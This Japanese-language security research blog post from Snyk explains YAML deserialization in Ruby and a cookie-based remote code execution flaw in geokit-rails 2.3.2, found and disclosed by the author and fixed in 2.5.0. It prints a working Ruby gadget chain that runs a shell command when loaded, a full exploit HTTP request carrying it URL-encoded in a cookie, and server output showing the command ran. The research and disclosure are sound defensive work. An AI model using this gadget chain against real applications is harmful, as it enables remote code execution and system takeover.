Skip to main content

Snyk CodeでYAMLデシリアライゼーションを検出する

著者
Headshot of Calum Hutton

Calum Hutton

2023年2月23日

0 分で読めます

オープンソースプロジェクトにおけるYAMLインジェクションの問題をSnyk Codeで特定するため、調査を行いました。この脆弱性自体は新しいものではありませんが、YAMLインジェクションがもたらす潜在的な影響は大きく、調査対象として適していました。この調査により、Python、PHP、Rubyで書かれたオープンソースプロジェクトでいくつかの問題が見つかりました。この記事では、Ruby on Rails用プラグインであるバージョン2.3.2のgeokit-railsで見つかった問題に焦点を当てます。

YAML

YAMLは、JSONのような単なるデータ交換形式ではありません。仕様には、高度な機能が多数定義されており、セキュリティ調査の対象として注目に値します。たとえば、次のような機能があります。

  • カスタムタグ(例:PyYAML)

  • アンカーとエイリアス

  • 属性のマージ

  • 複数ドキュメントのストリーム

YAMLは、さまざまな言語でバイナリデータや任意のオブジェクトのシリアライズにも使われ、デシリアライゼーション脆弱性につながる可能性があります。この調査では、悪用に成功するとリモートコード実行(RCE)につながることが多い、こうした脆弱性を対象としています。

RubyにおけるYAMLデシリアライゼーション

RubyではYAMLパーサーが言語のコアに組み込まれているため、追加のライブラリは必要ありません。アプリケーションがRuby標準のYAMLパーサーを使用している場合、YAML.load()またはYAML.load_file()を、それぞれYAML.safe_load()またはYAML.safe_load_file()の代わりに使うと、デシリアライゼーション攻撃に対して脆弱になります。デフォルトで安全な代替YAMLパーサーとして、SafeYAMLプロジェクトも利用できます。

次のスクリプトと出力は、YAML.load()を使ってYAMLを安全でない方法で読み込む例です。

require 'yaml'

var = {
 id: 1,
 desc: 'A simple hash'
}

yaml = '---
:id: 1
:desc: A simple hash'

puts var
puts YAML.load(yaml)

# Prints:

{:id=>1, :desc=>"A simple hash"}
{:id=>1, :desc=>"A simple hash"}

var変数には単純なRubyハッシュが格納され、yaml変数には同じハッシュをYAML形式でシリアライズしたものが格納されています。putsの2つの文が同じハッシュを表示するのは、yaml変数がYAML.load()を介してYAML文字列からハッシュにデシリアライズされているためです。この方法では、さらに複雑なオブジェクトもシリアライズおよびデシリアライズできます。

この調査の初期段階で、Ruby 2.xから3.xまで有効な汎用Ruby YAMLデシリアライゼーションガジェットを見つけました。これをデシリアライズすると、任意のコマンドが実行されます。

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

上記のYAMLペイロードは、YAML.load()またはYAML.load_file()で解析されると、デシリアライズ時にidコマンドを実行します。

ケーススタディ:geokit-rails(2.3.2)

geokit-rails gemは、アプリケーションに位置情報サービスを提供するRuby on Rails用プラグインです。このプラグインは、geokit-rails/ip_geocode_lookup.rb内のretrieve_location_from_cookie_or_service()メソッドを介して、安全でないYAML.load()メソッドを使用しています。

# Uses the stored location value from the cookie if it exists.  If
# no cookie exists, calls out to the web service to get the location.
def retrieve_location_from_cookie_or_service
 return GeoLoc.new(YAML.load(cookies[:geo_location])) if cookies[:geo_location]
 location = Geocoders::MultiGeocoder.geocode(get_ip_address)
 return location.success ? location : nil
end

安全でないYAML.load()メソッドに渡されるデータは、リクエストで送信されたCookieを保持するRuby on Railsのcookiesパラメーターに由来します。適切なHTTPリクエストを作成すればCookieを直接制御できるため、これは攻撃者にとって好都合です。

概念実証

Ruby 3.0.0上でgeokit-railsプラグイン(バージョン2.3.2)を動かすRailsアプリケーションをセットアップしました。この問題を悪用するため、次のHTTPリクエストをアプリケーションに送信しました。このリクエストには、URLエンコードされたYAMLペイロードをgeo_location Cookieに含めています。

GET http://127.0.0.1:3000/vulns HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 0
Cookie: geo_location=---%0A-+%21ruby%2Fobject%3AGem%3A%3AInstaller%0A++++i%3A+x%0A-+%21ruby%2Fobject%3AGem%3A%3ASpecFetcher%0A++++i%3A+y%0A-+%21ruby%2Fobject%3AGem%3A%3ARequirement%0A++requirements%3A%0A++++%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%0A++++io%3A+%261+%21ruby%2Fobject%3ANet%3A%3ABufferedIO%0A++++++io%3A+%261+%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%3A%3AEntry%0A+++++++++read%3A+0%0A+++++++++header%3A+%22abc%22%0A++++++debug_output%3A+%261+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++socket%3A+%261+%21ruby%2Fobject%3AGem%3A%3ARequestSet%0A+++++++++++++sets%3A+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++++++++++socket%3A+%21ruby%2Fmodule+%27Kernel%27%0A+++++++++++++++++method_id%3A+%3Asystem%0A+++++++++++++git_set%3A+id%0A+++++++++method_id%3A+%3Aresolve; _my_rails_app_session=%2B48ny21MkgVzlJR4LMcsdNtOK0G1aHx0%2Byoz4xLnkaMHrCner7YSRfQ04notQ0oNesQdG4EV5T%2FpyrQBSKBdKOZLLvP2J1NLOAQe1Z5zTTuu5Grcw1wuRpIHKAmZjfj3bqKqghkOj1JpOBxJoxFS7L6cH3wIsoq%2FrK%2BlAxVvP%2F8F9g5Q%2FA3pLVj2DTF3l7CcDBzOE9cPCOShesP717YbZNoa%2BPNf3mGjmKWvq26Y3CKMg2z7mAJHA%2B0CdA9l2pXsbrgwRJUW3Epqx4eJt0%2FDCJgS6Mp7rGjQeoIqLj4%3D--YAEA%2FepI0t701ifo--fVitYcX5PORz3a9xN4ev4A%3D%3D; __profilin=p%3Dt

Railsアプリケーション内でペイロードがデシリアライズされて実行され、コマンド実行を証明するためにidコマンドが実行されました。

Started GET "/vulns" for 127.0.0.1 at 2022-11-07 12:05:57 +0000 Processing by VulnsController#index as HTML 
sh: reading: command not found 
uid=501(calumh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) 
Completed 500 Internal Server Error in 167ms (Allocations: 35610)

geokit-railsを使用するシステムでは、この脆弱性を悪用する攻撃者がRCEを引き起こし、システムを完全に乗っ取る可能性があります。

修正方法

この問題はgeokit-railsのメンテナーに責任ある開示を行い、座標情報を含むYAMLをJSONに置き換えることで、ソフトウェアのバージョン2.5.0で修正されました。この調査を受けて、Snyk CodeのYAMLインジェクション検出ルールを改善・強化したため、ユーザープロジェクト内のこうした問題をさらに検出できるようになりました。

Capture the Flagを始めよう

オンデマンドのバーチャル入門ワークショップを見て、Capture the Flagの課題の解き方を学びましょう。

続きを読む

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。

Blog

AIコーディングエージェントが不適切なアクセス制御を繰り返し実装する理由

AIコーディングエージェントは、コンパイルが通りレビューも通過する一方で、あるテナントのデータを別のテナントに公開してしまう認可ロジックを生成することがあります。不適切なアクセス制御が検出しにくい理由と、その防止策をご紹介します。